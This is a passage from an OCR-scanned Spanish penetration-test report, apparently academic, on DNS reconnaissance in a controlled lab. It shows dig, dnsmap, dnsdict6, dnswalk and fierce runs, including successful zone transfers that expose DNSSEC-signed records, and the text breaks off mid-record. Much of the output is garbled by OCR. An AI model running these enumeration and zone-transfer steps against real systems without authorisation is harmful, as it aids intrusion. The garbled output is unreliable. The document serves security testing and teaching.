0S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 19.06 seconds

Identificar relaciones IP servidores-nombre de dominio,

dominios y subdominios.

Identificar

Nombre

Encontrar relacionados IP-nombres de dominios

Tipo de prueba

Recoleccion de informacion

Herramienta

Dig

Descripcion
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En esta PoC se utliza la herramienta dig para realizar consultas
inversas, consultando por las IP que prestan el servicio de DNS para
asociar IP y nombre de dominio.

Resultado

La prueba de concepto se realiza sobre los host activos que prestan el
servicio de DNS, se obtiene como resultados: que no se encuentra
asociacion de la IP con un nombre de dominio.

Evidencia de la prueba de concepto y de los resultados obtenidos

:~# dig -x 2001:12:7000::cafe:2

; <<>> DiG 9.11.2-5-Debian <<>> -x 2001:12:7000::cafe:2

;3 global options: +cmd

;i Got answer:

;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 24765

;3 flags: qr rd ra ad; QUERY: 1, ANSWER: ©, AUTHORITY: 1, ADDITIONAL: 1

;3 OPT PSEUDOSECTION:

; EDNS: version: 0, flags:; udp: 4096

;3 QUESTION SECTION:
;2.0.0.0.e.f.2.c.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.7.2.1.0.0.1.0.0.2.ip6.arpa. IN PTR

;3 AUTHORITY SECTION:
9931 IN SOA f.root-servers.net. admin. 2018041701 86400 3600 604800 10800

;; Query time: 0@ msec

;; SERVER: 2001:12:7000::cafe:5#53(2001:12:7000::cafe:5)
;3 WHEN: Mon Jun 25 12:53:20 EDT 2018

;; MSG SIZE rcvd: 159

:~# dig -x 2001:12:7000::cafe:3

; <<>> DiG 9.11.2-5-Debian <<>> -x 2001:12:7000::cafe:3

;3 global options: +cmd

;; Got answer:

;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 18041

;; flags: qr rd ra ad; QUERY: 1, ANSWER: ©, AUTHORITY: 1, ADDITIONAL: 1

;3 OPT PSEUDOSECTION:

; EDNS: version: @, flags:; udp: 4096

;3 QUESTION SECTION:
;3.0.0.0.e.7.2.c.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.7.2.1.0.0.1.0.0.2.ip6.arpa. IN PTR

;3 AUTHORITY SECTION:
10400 IN SOA f.root-servers.net. admin. 2018041701 86400 3600 604800 10800

;; Query time: 0@ msec

;; SERVER: 2001:12:7000::cafe:5#53(2001:12:7000::cafe:5)
;3 WHEN: Mon Jun 25 12:53:21 EDT 2018

;3 MSG SIZE rcvd: 159

Fecha 22-junio-2018

Tipo de prueba | Recoleccion de informacion

Objetivo Asociar dominios relacionados con direcciones IP

Herramienta Dig

Descripcion
Herramienta para realizar consultas DNS, para esta prueba de
concepto se utiliza el comando dig <dominio> +trace.

Resultado

En esta prueba de concepto se busca encontrar los dominios y

servidores externos, relacionados a los dominios internos de la

organizacion. Se encontré los siguientes resultados

Para el dominio bancodk.com los dominios externos relacionados son:
f.root-servers.net. 2001:12:7000::cafe:5




a.gtld-
servers.net.com.

com.

2001:500:2f::f:bebe:2

bancodk.com.

dnsl.bancodk.com.

2001:503:3f::beca:2

bancodk.com.

dnsl.bancodk.com.

2001:12:7000::cafe:2

Evidencia de la prueba de concepto y de los resultados obtenidos

:~# dig AAAA bancodk.com +trace

>> DiG 9.11.2-5-Debian <<>> AAAA bancodk.com +trace
lobal options: +cmd
603670 1IN NS f.root-servers.net
604788 1IN RRSIG NS 7 © 864000 20180705212442

1kwlNBaFQUY4fI6bZEZASTMNEt L/+6DdSe2dtzwfsdF1xkswaH1COb1KxIX6SF8FtQhEuas7oFBkdCGCoP C5q/vf7nGu+IKUVZbGVh

VCGW40 JUE=
eceived 217 bytes from 2001:12:7000::cafe:5#53(2001:12:7000::cafe:5) in @ ms
864000 1IN NS a.gtld-servers.net.com.
864000 1IN DS 8280 7 1 AA683A16461F
864000 IN DS 8280 7 2 37270C3B982C4B041
864000 1IN RRSIG
BU6XVURODYV7 fkP,
OEDZwWtqweA Yp
;; Received 344 bytes from 2001:500: :bebe:2#53(f. root-s
864000 IN NS
864000 1IN
864000 1IN
864000 1IN RS DS 7 2 864000 20180705204755 20
v228XCLgNIme OVBHFVIOR2M43tq515eQDIHXRNDNIGD LW500pI tAVLBYRS

bancodk.c dns1.bancodk.com.
bancodk. c
bancodk.com.
bancodk. com
)Tnnhkolonnm~
Received 334 bytes from 2001:503:3f::beca:2#53(a.gtld-ser net.com) in 67 ms
864000 IN A
864000 IN RRSIG
hSuKmVKKKHbs+V17/4q9Q fzZ4nki+mAWI jdL

2001:12:7000: :cafe:2
AAAA 7 2 864000 20180709214556 2018060
IAtghDAILzdoud
bancodk. com 864000 1IN NS dns1.bancodk. com.
bancodk . com. 864000 1IN RRSIG
Ktt90HTvzd+3Bpg3q2EGoppl3gKUbHP/OMCZ] nyGFUD7WTQXAkw]STX7IVIVCBFFDE
SNXG5KZ4BzVQIRGVXNR7V ifo=

;; Received 628 by from 2001:12:7000::cafe:2#53(dnsl.bancodk.com) in 2 ms

root@validador:/home/AdminCache# dig AAAA networks.com +dnssec +trace

; <<>> DiG 9.10.3-P4-Debian <<>> AAAA networks.com +dnssec +trace
73 global options: +cmd

604666 IN NS f.root-servers.net.

T8RBoWaFZRdDITVK JjA=

i+ Received 404 bytes from 2001:12:7008::cafe:5#53(2001:12:7000: :cafe:5) in @ ms

elMn+Kef/uCurlYK cPw=
;; Received 345 bytes from 2001:500:2f::f:bebe:2#53(f.root-servers.net) in 3 ms

jwiiltt0a@oDkOKvYpPEIN Igo=
73 Received 276 bytes from 2001:503:3f::beca:2#53(a.gtld-servers.net.com) in 59 ms

networks.com. 864000 IN 2800:370:4005:403: :baca:4
networks.com 864000 dnsl.networks.com
;3 Received 116 bytes from 28080: 3f0 4005 403 :baca:4#53(dnsl.networks.com) in 37 ms

AAAA

19230 7 2 487685E8C728B1EDF549F7FFBDAF4BDAFEGAEEG
19230 7 1 C95971D07A9B52F9ID3BEA121AE4CD6003B24495A
0605204755 24782 com
QL/kt6t2 XCGaf52

WCO+pMGNSDMRIXB aqzKYcf

NS 7 2 864000 20180709214556 20180609214556 14579 bancodk.com. cZewYOgBt
heOKFCUJK87FzcUAD3bkqk2S TW7Ff@zabelFm61HUBF:

IN RRSIG NS 7 © 864000 20180815162149 20180716162149 38150 .
M'ITQQleKsEGZJquVyNgvszEa4a/ ahQMFCBIYRBVhKU tVwxRNvTwIV+CUlxuj+GRIKEIy7fzQmOyud fNn5wr bxIpoiiYfytUSPIiZUisx3IQxty6pMT/9P9nSI+3

0605212442 38150 . pDGbfajG04qnDmpIAuveQCm3j

qRa9qdgg fNK4D!

4969E0DDICBE64908B7EBLSTF
C7898703082
DS 7 1 864000 20180705212442 20180605212442 38150
iMSFIbQI 76RQONWKJ/63LY1VcnIwrvgdjcsE7gY7CNUaHWDBaregfADIr1B1uzG3 2W3isfchDKEPak/9Grs0PgI400Yuion//

1C1355D63B4D57B758982 5D9BA19E
. BCeqIxXxrTeoFGec mn«onw,)quo

BIDEBB76617C15 6BB18154

ZSyYEOWRT+C5Urxpxy9LKDUE/HIX
FUNG4EGBbYB34mHTBM7aP rhgYOKKEUtNfI2)

KXQ+BG2:

14556 14579 bancodk.com.
61 _pr,Pvuvcdu(mont

1fKWuGj
JI6bT/pt30TKuL

skLdNCvbJsyWVRHIDUB4 rDPULpl

[com 864600 1IN NS a.gtld-servers.net.com.

com 864000 1IN DS 8280 7 1 AAG83A16461F2334969E0DDICB864908B7EBLSTF

com. 864000 1IN DS 8280 7 2 37270C3B982C4B04129C7B98703082E735E1C1355D63B4D57B758982 5D9BALIE
com 864000 1IN RRSIG DS 7 1 864000 20180815162149 20180716162149 38150

WgP1x5PEqfct+1ymlWdE1Kod/aR

IArr@HZpriD8C4/avE024YURs rIgWl HxnKHONCuLXZSv60Zqbihc4APZZ/zVdB8wD2zdr0zGmxQgEEI8i+q3yhM dNc/ZMHxuW38MX/iuYVuSbP+Vvz7pjhxwRWs9Fb6!

networks.com. 864000 1IN NS dnsl.networks.com.
networks.com 10800 IN NSEC com. NS RRSIG NSEC
networks.com. 10800 IN RRSIG  NSEC 7 2 10800 20180815161715 20180716161715 24782 com. SrlflNjBY49dm5le/JsPqs4

5Po7UB9aQvpTYS0C/mnal0j3yyzQBomjW 5tQi®pDfqTjNIvUl+anb+YrDZK6émqjp4Pj8n/9FIoIIDgosULjzkftUr e®sGzN6Ip8RHuubBUYwAKgHLgWOHBMVosTCc
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root@validador:/home/AdminCache# dig AAAA comunicate.com +dnssec +trace

i <<>> DiG 9.10.3-P4-Debian <<>> AAAA comunicate.com +dnssec +trace
i+ global options: +cmd

603453 1IN NS f.root-servers.net.

603544 IN RRSIG NS 7 O 864000 20180815162149 20180716162149 38150 . skLdNCvbJsyWVRHIDUS4rDPUIpl
MTT094dKSBGZJquVyNgvszEa4a/ ahQMFCBIYRBVhKUtVwxRNvTWOV+CULxuj+GRIKEIy7 fzQmOyud fNn5Swr bxIpoiiYfytUSPIiZUisx3IQxty6pMT/9PInSI+3
'T8RBoWaFZRdD]Tvk JjA=
i+ Received 404 bytes from 2001:12:7000::cafe:5#53(2001:12:7000::cafe:5) in 0 ms

icom. 864000 1IN NS a.gtld-servers.net.com

com. 864000 IN DS 8280 7 1 AA6B3A16461F2334969EADDICBB649IO8BTEBLSTF

com. 864000 IN DS 8280 7 2 37270C3B982C4B04129C7B98703082E735E1C1355D063B4D57B758982 5DIBA1SE

icom. 864000 1IN RRSIG DS 7 1 864000 20180815162149 20180716162149 38150 . WgP1x5PEqfct+lymlWdElKod/aR

IArrOHZprlD8C4/avE024YURs rIghl HxnKHONCuLXZSv60Zgbihc4APZZ/zVd8wD2zdr0zGmxQgEEI8i+q3yhM dNc/ZMHxuW38MX/iuYVuSbP+Vvz7pjhxwRWs9Fb6
elMn+Kef/uCurlYK cPw=
i+ Received 347 bytes from 2001:500:2f::f:bebe:2#53(f.root-servers.net) in 8 ms

icomunicate.com 864000 IN NS dnsl.comunicate.com

icomunicate.com. 864000 IN DS 19779 7 1 4A9245F9D4D2F72E82BA0678AEL6130257468B2E

icomunicate.com. 864000 IN DS 19779 7 2 540414052F252C9AE7A1AD61708691744D8F9692D04779893696E96A BD82824F
icomunicate.com 864000 IN RRSIG DS 7 2 864000 20180815161715 20180716161715 24782 com. VoBUCFMXNBUm+eWSHIPxdxHH

ZSyMrBDj0j43aZdinxU3]006HjN+ALIb TpuEFhEVIYm24nGW/iY1BnirlFn5APPHM/ uY+q2ZADX/PgynF4PfuP4G +H83Z0JKPOq492AHTBBWdFbSeubLaxTT6Z4E+
wjxARACIRQ+snhQTalM mb8=
7+ Received 337 bytes from 2001:503:3f::beca:2#53(a.gtld-servers.net.com) in 66 ms

icomunicate.com 864000 1IN AAAA 2800:370:4005:403: :baca:2

icomunicate.com 864000 1IN RRSIG  AAAA 7 2 864000 20180815154732 20180716154732 23192 comunicate.com. QHerajLR/gl
'tvspVEAUrHX+EjEpywyq7TKsI7Yval0y 1wWr7WNPNdS5w w7/TUubgILNx141YQe9n1R/ChEMhBSIoVIM@9TVRIV/Hz1lniaWZH+Q60 Syy+CqWVamRIYsGwnYw+ZeNs
1LgpWtBYY1VsDw8Rqf rnTF3V+g3p/elX DO8=

icomunicate.com. 864000 1IN NS dnsl.comunicate.com

icomunicate.com 864600 1IN RRSIG NS 7 2 864000 20180815154732 20186716154732 23192 comunicate.com. dWcv6lyClTkeA
D/2CCkBeTx13CsvEej1kD5F3zMjtSvny9t8m/PcvDUQ aKir9fHrxK81PRg7GXPeNDoCIC/VBISL60Tr8mr1zCqpRPgeNU943T5+ SD8UN2iaFrX5/X18zh0BNR1onN
j4iFdsRhtjNuo6YpsLwsL1J1iB6DHe 6d8=

7+ Received 640 bytes from 2800:3f0:4005:403: :baca:2#53(dnsl.comunicate.com) in 104 ms

Nombre Enumeracion de subdominios

Tipo de prueba | Recoleccion de informacion

Herramienta Dnsmap

Descripcién

Se utiliza la herramienta dnsmap esta enumeracion de subdominios.

Resultado

En esta prueba de concepto se puedo realizar una enumeracién de los
subdominios de los dominios bancodk.com, transacciones.bancodk.com.

comunicate.com y networks.com

Evidencia de la prueba de concepto y de los resultados obtenidos

~# dnsmap bancodk.com -w diccionario.txt
dnsmap 0.30 - DNS Network Mapper by pagvac (gnucitizen.org)

[+] searching (sub)domains for bancodk.com using diccionario.txt
[+] using maximum random delay of 10 millisecond(s) between requests

dnsl.bancodk.com
IPv6 address #1: 2001:12:7000::cafe:2

www . bancodk. com
IPv6 address #1: 2001:12:7000::cafe:6

[+] 2 (sub)domains and 2 IP address(es) fou
[+] completion time: © second(s)
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:~# dnsmap transacciones.bancodk.com -w diccionario.txt
dnsmap ©0.30 - DNS Network Mapper by pagvac (gnucitizen.org)

[+] searching (sub)domains for transacciones.bancodk.com using diccionario.txt
[+] using maximum random delay of 10 millisecond(s) between requests

dnsl.transacciones.bancodk.com
IPv6 address #1: 2001:12:7000::cafe:3

www.transacciones.bancodk.com
IPv6 address #1: 2001:12:7000::cafe:8

[+] 2 (sub)domains and 2 IP address(es) found
[+] completion time: 1 second(s)

:~# dnsmap comunicate.com -w diccionario.txt
dnsmap 0.30 - DNS Network Mapper by pagvac (gnucitizen.org)

[+] searching (sub)domains for comunicate.com using diccionario.txt
[+] using maximum random delay of 10 millisecond(s) between requests

dnsl.comunicate.com
IPv6 address #1: 2800:3T0:4005:403::baca:2

www.comunicate.com
IPv6 address #1: 2001:503:3f::beca:3

[+] 2 (sub)domains and 2 IP address(es) found
[+] completion time: 1 second(s)
:~# dnsmap networks.com -w diccionario.txt
dnsmap 0.30 - DNS Network Mapper by pagvac (gnucitizen.org)

[+] searching (sub)domains for networks.com using diccionario.txt
[+] using maximum random delay of 10 millisecond(s) between requests

dnsl.networks.com
IPv6 address #1: 2800:3T0:4005:403::baca:4

www.networks.com
IPv6 address #1: 2001:503:3f::beca:4

[+] 2 (sub)domains and 2 IP address(es) found
[+] completion time: 1 second(s)

Nombre Enumerar las entradas DNS IPv6 de un dominio

Tipo de prueba | Recoleccion de informacién

Herramienta Dnsdict6

Descripcion

En esta PoC se utiliza la herramienta dnsdicté para enumerar las
entradas DNS IPv6, de los dominios que se encuentran dentro la red
interna de la organizacion.

Resultado
En esta prueba de concepto se encontré los subdominios existentes
para los dominios raiz, com, comunicate.com, bancodk.com,




transacciones.bancodk.com y networks.com. Se obtuvo las entradas
de los dominios comunicate.com, bancodk.com,
transacciones.bancodk.com y networks.com relacionadas a los dnsly
WWW.

:~# dnsdict6
Starting DNS enumeration work on
Starting enumerating . - creating 8 threads for 1420 words...
Estimated time to completion: 1 to 2 minutes

Found © domain names and © unique ipv6 addresss for
:~# dnsdict6 com.
Starting DNS enumeration work on com.
Starting enumerating com. - creating 8 threads for 1420 words...
Estimated time to completion: 1 to 2 minutes

Found © domain names and © unique ipv6 addresss for com.

:~# dnsdict6 comunicate.com
Starting DNS enumeration work on comunicate.com. ...
Starting enumerating comunicate.com. - creating 8 threads for 1420 words...
Estimated time to completion: 1 to 2 minutes
dnsl.comunicate.com. => 2800:3f0:4005:403::baca:2
www.comunicate.com. => 2001:503:3f::beca:3

Found 2 domain names and 2 unique ipv6 addresss for comunicate.com.
:~# dnsdict6é networks.com
Starting DNS enumeration work on networks.com. ...
Starting enumerating networks.com. - creating 8 threads for 1420 words...
Estimated time to completion: 1 to 2 minutes
dnsl.networks.com. => 2800:3f0:4005:403: :baca:4
www.networks.com. => 2001:503:3f::beca:4

Found 2 domain names and 2 unique ipv6 addresss for networks.com.

:~# dnsdict6 bancodk.com
Starting DNS enumeration work on bancodk.com. ...
Starting enumerating bancodk.com. - creating 8 threads for 1420 words...
Estimated time to completion: 1 to 2 minutes
dns1.bancodk.com. => 2001:12:7000::cafe:2
www.bancodk.com. => 2001:12:7000::cafe:6

Found 2 domain names and 2 unique ipv6 addresss for bancodk.com.
:~# dnsdict6 transacciones.bancodk.com
Starting DNS enumeration work on transacciones.bancodk.com. e
Starting enumerating transacciones.bancodk.com. - creating 8 threads for 1420 wo
rds...
Estimated time to completion: 1 to 2 minutes
dnsl.transacciones.bancodk.com. => 2001:12:7000::cafe:3
www.transacciones.bancodk.com. => 2001:12:7000::cafe:8

Found 2 domain names and 2 unique ipv6 addresss for transacciones.bancodk.com.
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CAPITLO 2: IDENTIFICACION Y EXPLOTACION DE

VULNERABILIDADES

2.1 Transferencia de zona

PoC de Recolecciéon de Informacion sobre el escenario de pruebas
controlado cuando todo el sistema DNS es Centos7 DNSSEC.

Descripcion de la prueba

Se ejecuta la PoC de transferencia de zona, cuando el sistema DNS esta

implentado en un sistema operativos Centos, el cual se configuro de manera

insegura para permitir la transferencia de zona . Conciderando que

transferencia de zona se realice de un servidor autoirtario firmado o no.

1. Identificar y ejecutar transferencia de zona.

Nombre

Transferencia de zona

Tipo de prueba

Identificacion y explotacion de vulnerabilidades

Herramienta | Dnswalk

Descripcion

Se utiliza la herramienta dnswalk, para realiza transferencias de zona
de los dominios especificados, para realizar la transferencia de zona
de un servidor autoritario implementado con DNSSEC.

Resultado
En esta prueba de concepto se encontrd los subdominios existentes
para los dominio bancodk.com y transacciones.bancodk.com
e Para el dominio bancodk.com la transferencia de zona no es
posible
e Para el dominio transacciones.bancodk.com la transferencia de
zona es posible, dando de alguna informacion del archivo zona,
como:
SOA del dominio es dnsl.transacciones.bancodk.com
Contacto admin.transacciones

Evidencia de la prueba de concepto y resultados obtenidos

Checking ba

1 failures,

com

0 o - |
0 warni

¢ dnswalk bancodk.com.

only one authoritative nameserver

of bancodk.com. from dns dk.com...failed
bancodk.com. from dnsl.bancodk.com failed: REFUSED
attempts of bancodk.com. failed!

, 2 errors.

la
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Checking

ciones.bancodk.com. . .done.

dnsl.transacciones.bancodk.com: unknown host

Nombre Transferencia de zona

Tipo de prueba Identificacion y explotacién de vulnerabilidades
Herramienta Fierce

Descripcion

Se utiliza la herramienta fierce para realizar la transferencia de zona
sobre el escenario de pruebas controlado cuando esta implemado
DNSSEC en el sistema operativo Centos?7.

Resultado

El dominio bancodk.com no permite transferencia de zona, mientras
gue el dominio transacciones.bancodk.com si, obteniendo los archivos
de zona que muestran los registros DNS como (NS, SOA, AAAA)
acompanado de los registros DNSSEC (RRSIG, NSEC , DNSKEY,

DS)d

Evidencia de la prueba de concepto y resultados obtenidos

:~# fierce -dns bancodk.com.
DNS Servers for bancodk.com.:
dns1.bancodk.com

Trying zone transfer first...
Testing dnsl.bancodk.com
Request timed out or transfer not allowed.

Unsuccessful in zone transfer (it was worth a shot)
Okay, trying the good old fashioned way... brute force

Checking for wildcard DNS...
Nope. Good.
Now performing 2280 test(s)...

Subnets found (may want to probe here using nmap or unicornscan):

Done with Fierce scan: http://ha.ckers.org/fierce/
Found © entries.

Have a nice day.
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:~# fierce -dns transacciones.bancodk.com
DNS Servers for transacciones.bancodk.com. :
dnsl.transacciones.bancodk.com

Trying zone transfer first...
Testing dnsl.transacciones.bancodk.com

whoah, it worked misconfigured DNS server found
transacciones.bancodk.com 864000 1IN SOA ( dnsl.transacciones.bancodk.com
admin.transacciones.
2018041701 ;serial
86400 H
3600
604800
10800 ;minimum
)
transacciones.bancodk.com. 864000 IN RRSIG ( SOA 7 3 864000 20180709204935
20180609204935 45857 transacciones.bancodk.com
Z7ILBp46SgkON30T1xNoPQO9bj /gluwb/WYoaXEk8ronrhspdb/xMPppFULiV5Was/MMx+W2RCDuU
LLFEblaLJ)eeLt2dDibNQ7d6poOURzaboefmpdencs2675VnyB7t5P7yyioosDHEg70HsW1kefYaQ
WPBNLBHCZ3MOP26RU= )
bancodk.com. 864000 IN NS dnsl.transacciones.bancodk.com.
bancodk. com 864000 1IN RRSIG ( NS 7 3 864000 20180709204935
09204935 45857 transacciones.bancodk.com
yNgTIm1vIecmi1mCIURXNK ) LGAWMSOY/0Bs79wCAMEOC ) ZAgWXiN5//cq3RZUZ1G//1FeH
ryoiBd9QqHaKpez1PyMNfyCYErg8hc/ f5B8wdZCBKi6JazKprTjtqenLUKngoKkWwysXIHe
YqSXQN9Ddo6mM= )
transacciones.bancodk.com 864000 1IN AAAA 2001:12:7000::cafe:33
transacciol ncodk.com. 864000 1IN RRSIG ( AAAA 7 3 864000 20180709204935
20180609204935 45857 transacciones.bancodk.com
aQoLROyhUZhuOMFIEB2yunUypceFx3cHWT+0Woi+VVyRoHT92Ay9pj f6Vh7IUs0yIe9II0020F5i
VOKsUTfIUHHFCPNIFDFaA1bK8+uciBwnLPDMsC3svAeH04/4AY fae0G2] rxzYydw+prg8cIGOH+po
dIW2IfrE2IsQnSbxHVE= )
transacciones.bancodk. col 864000 IN DNSKEY ( 256 3 7
AadVpYi062DCsp+PkGqQnXasaYpr/8/tSs6zfvieyihPSuseSpFXnxUzfixXz700ff21v6wzd/
QcBunMohganx1. yIm+EVojmNEtArnm+I10ewjTu6YgbtadtFfut6dIJFezT8xGhdTFjdrT3q
yastoqromnedS5VvyER ) ; Key ID = 45857
transacciones.bancodk.com. 864000 1IN DNSKEY ( 257 3 7
AwEAAbZ1eljWCkOZIVVh6aSTiRDHMTQaDEKseNyQMVBzKcKOUZwNiqtEXWIrss5TqftoZQGoRgo1l
6KtZ4hLgs4/M0IpqOE1dQIig/LivIP640APMKY rRGPpS jguke8DN1KErgl7PdgZjpD43X1Vas3sL
MVNOOg 710012PTUViF7ef7k]jPRDyyPgN1ktHnKhFXtSpJaggudTsNxVPTbn8alZ J9Er27
RXKCKRHSV ] LM22N722K3dv20vEqIwBqbFpsJ 0j kQqqLEUYeBENhqMKAQ11XGEge5uj 8LGB5W
VQIbqrjYUjrPt/3h)+YDZ41uZ)s632mFWok/rsxfesk= ) ; Key ID = 46896

Nombre Transferencia de zona

Tipo de prueba Identificacion y explotacion de vulnerabilidades

Herramienta Fierce

Descripcion

Fierce es un escaner de dominio que le ayuda a encontrar los
servidores DNS, transferencias de zona, subredes y host de
cualquier dominio de destino. Fierce primero buscara un dominio de
destino en busca de los servidores DNS, junto a las transferencias de
zona.

Resultado

En esta prueba de concepto se puedo realizar transferencia de zona
de la mayoria de los dominios encontrados a exaccién de los dominio
raiz y del dominio bancodk.com se obtuvieron los archivos de zona
gue muestran los registros DNS como (NS, SOA, AAAA)
acompafado de los registros DNSSEC (RRSIG, NSEC , DNSKEY,
DS)

Evidencia de la prueba de concepto y resultados obtenidos.

:~# fTierce -dns

Uhm, no. "." is gimp. A bad domain can mess up your day.
Try again.
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:~# fierce -dns com.
DNS Servers for com.:
a.gtld-servers.net.com

Trying zone transfer first...
Testing a.gtld-servers.net.com

Whoah, it worked - misconfigured DNS server found:
com. 864000 IN SOA ( a.gtld-servers.net.com. admin.com.

201804171 ;serial

86400 ;refresh

3600 ;retry

604800 ;expire

108600 ;minimum
)
864000 1IN RRSIG ( SOA 7 1 864000 20180707200904 20180607200904 39398 com.|
BzQrvYxwgxT1xtxSas06JFHpvhx614kkqR/BuXYXXlaruEN1Ht3//PGYgtS3VAGrt8Gqz9ef2vsl
lelopthbFAtCFDNBNRjzgJcdjNQ6ovOn1mSHtI5sbVF8M3S1Y9PZMSTLGtEY/6Gn+uKh4Um1BoPp
Xt1srmVPQWS4yGM211I= )
864000 1IN NS a.gtld-servers.net.com.
864000 1IN RRSIG ( NS 7 1 864000 20180707200904 20180607200904 39398 com.
dQOOMivLy53KbfHiVpVQN+al1640wIu60vTUaAKdIYiBMeONqQiDUbDQEwgXnZLMybR/G2CH] TKT
2pquC19h3kbYLknorrfSreeth880CZyoZf/ubDMT5ddvdw5QiAy9Chy LnnWbMcroTdgfVTkLCgbTO
Gn/WZ1Xa+6tbL1XEZXM= )
864000 IN AAAA 2001:503:3f: :beca:32
864000 IN RRSIG ( AAAA 7 1 864000 20180707200904 20180607200904 39398 col
Fx+bCXbR3eW2JcWG/aLV+Fi/r95/0Im68VqSzoz8YSsOEPNXJEgNVW]jQZ6bMu2aDkXTN9O1RNHXS 1
rtCsQ7c4n+ow+xhXViAqYHVFxbkUgwnqo9BAVQ3NRyGs877XeQoQF9ddOMFPb4FbFYmITXb35]tf
Jqgt7qudoUAd/xF3MI4= )
10800 IN NSEC bancodk.com. NS SOA AAAA RRSIG NSEC DNSKEY
10800 IN RRSIG ( NSEC 7 1 10800 20180707200904 20180607200904 39398 com.
dn48gquuhzBq9GWbiQHWpElvXZ1/HhYH21UjVXxF4xrR5PiW6nFFthUhZhIhOIS5T/K8sFMo/Coub
gSn7Gz6V2INR99A9piY7EwiRriQy9o7kRFgjw8p/k80BOymrnLgd7ExnLCc2/h412M/PUV5SMBWT X
3+AK4yvJOuIPKO2PPmMS= )
864000 IN DNSKEY ( 257 3 7
AWEAADBj fLL3GYp+SHFihmOILZceXnFE6IWzDD2xcr19s28yCrq/ygjxeonVtGe+VOByKulGT/7gD
LJ3tz0D1ggjkfpK6AuCdjFNdmc+n85MXcufUFsWzGaVXwqzChw4dsk6G31volkPoPhcAYCvDe6dE
skeDpQVNM12F+u9+RAkzMBO3Mfv1IkfDLBP8TUdkPto/kVa/ajWmH4LTEF6D+rtDKEON8G/c2jsn
PlnpBMht0sqYq8mZcy+U3npawgaigmi7S9ow9w/UpPeUI2ug21LzD8yxKN4ICMKMP3f81tFBI+A]
38UBgj9uvPL7M9+hyinScOKgGH30h2uet1lqW3ebGlh8= ) ; Key ID = 243

comunicate.com. 864000 IN RRSIG ( DS 7 2 864000 20180707200904 20180607200904
39398 com.
VEzKYwKvqq@xGZclGklLuyeBri+15j0uRv+VblYykvculmD8Ld/8FVx8ZpJf+7ANPxfpt85s7fIx
XPXYNz0101BZVPIwPK3d1ntGyHDRCTxhiPGcxFMt7qgWplCe/TqXU+0ImtQ9tLO+FTWyCESKFhRX
HtBdTdFDNTQLmveQjmo= )

comunicate.com. 10800 IN NSEC a.gtld-servers.net.com. NS DS RRSIG NSEC

comunicate.com. 10800 IN RRSIG ( NSEC 7 2 10800 20180707200904 20180607200904
39398 com.
Whp2kkeM4v14Lb8skNMAatdBz+YyjPSiX10YM2Gfoem9u@ySoWeerra70xto0rYmlopqu+Bk/sQD
jTmzZ5a0RN+gk/QBDHQkge57S20MEoemDnpl3aTuUWi/7Zy7KfcYZ95d4uskengl/Pkb9IwMBDmw1d
Z+9M7NUYhrUUdEMirh4= )

dns1.comunicate.com. 864000 IN AAAA 2800:370:4005:403: :baca:32

a.gtld-servers.net.com. 864000 1IN AAAA 2001:503:3f: :beca:32

a.gtld-servers.net.com. 864000 1IN RRSIG ( AAAA 7 4 864000 20180707200904
20180607200904 39398 com.
aoc7WP/bbU9XsfyVvYIaaVnXZVSgcmfLH+t50ex703]jYpNBbY111Ssa48k rGemlwqwtSNbWwWUSM
oDr5Nvc5Q+qYMOn35ruwbTLVfjgEESTIrMDONIObsnX7wf@16DLnIHVTIXXWZ305Esul0pzdCovy
avYBRTME20xiHt8NTQE= )

a.gtld-servers.net.com. 10800 IN NSEC networks.com. AAAA RRSIG NSEC

a.gtld-servers.net.com. 10800 IN RRSIG ( NSEC 7 4 10800 20180707200904
20180607200904 39398 com.
kix2POHBi0ZL8g4I2RI7MRV6P5ESCeqTcVSPFTIB7biImy6ui/X042TvrYVon0QhxuVopoyZvrat
S6Fsjw50XK7uoEJIzyETRilpFS9FzFyyGtIp4+sw+bhLRkOQhlcurfpgGybMrt8eHOYk2s4wlnxo
vkp9RVAWHWCSO70m/Dw= )

networks.com. 864000 IN NS dnsl.networks.com.

networks.com. 10800 IN NSEC com. NS RRSIG NSEC

networks.com. 10800 IN RRSIG ( NSEC 7 2 10800 20180707200904 20180607200904
39398 com.
fyHcbIpONS+0PTS5FWo/gIJ12iNQCA7XqQtLH80cyWrNN3DOcwrnBBUIDJIiSVChE4+5N21q1lIyk2F
90HSbzQpOMDOSSLtXXxfWR1rTwCet79VjISys5sI5KB5tsLuzSdIE+A6+t+GGLIQOMM2SRCOWPNOL
efIDyYZtIPRudqrO+zE= )

dnsl.networks.com. 864000 IN AAAA 2800:370:4005:403: :baca:34

There isn't much point continuing, you have everything.
Have a nice day.
Exiting...

Con la existencia de dichos dominios externos se procede a aplicar la
prueba de concepto sobre estos.



Transferencia de zona de bancodk.com

# fierce -dns bancodk.com.
DNS Servers for bancodk.com.:
dnsl.bancodk.com

Trying zone transfer first...
Testing dnsl.bancodk.com
Request timed out or transfer not allowed.

Unsuccessful in zone transfer (it was worth a shot)
Okay, trying the good old fashioned way... brute force

Checking for wildcard DNS

Nope. Good.

Now performing 2280 test(s)...

Subnets found (may want to probe here using nmap or unicornscan):

Done with Fierce scan: http://ha.ckers.org/fierce/
Found 0 entries.

Have a nice day.

Transferencia de zona de comunicate.com

:~# fierce -dns comunicate.com.
DNS Servers for comunicate.com.:
dnsl.comunicate.com

Trying zone transfer first...
Testing dnsl.comunicate.com

Whoah, it worked - misconfigured DNS server found:
comunicate.com. 864000 IN SO0A ( dnsl.comunicate.com. admin.dnsl
2018041701 ;serial
86400 ;refresh
3600 ;retry
604800 iexpire
160800 ;minimum
)
comunicate.com. 864000 IN RRSIG ( SOA 7 2 864000 20180629132629 20180530132629
22523 comunicate.com.
Z4RhrqXHU7462zQo8a6rViKEaK1leb1Z6/1QP20KBdfasdgDCIvjHRcVOSGROVAOSY02q4PbwOnWln
qMbxZjMOTWf joAaVnAIAaINeep2+2Hac0j/2BT9ahY9fmZ6KD44ui63Q6h/M2IVVKFLELAtXrNmH

KemPIvde8+AQYBGUWS0= )
comunicate.com. 864000 IN NS dnsl.comunicate.com.

comunicate.com. 864000 IN RRSIG ( NS 7 2 864000 20180629132629 20180530132629
22523 comunicate.com.
aa0bmFbSMGCXQalWbjLIkOOK1p6N2ceWCIVCAUSRThVWtdLGic77LmWALy8NnykmUcZPyJ78s1US
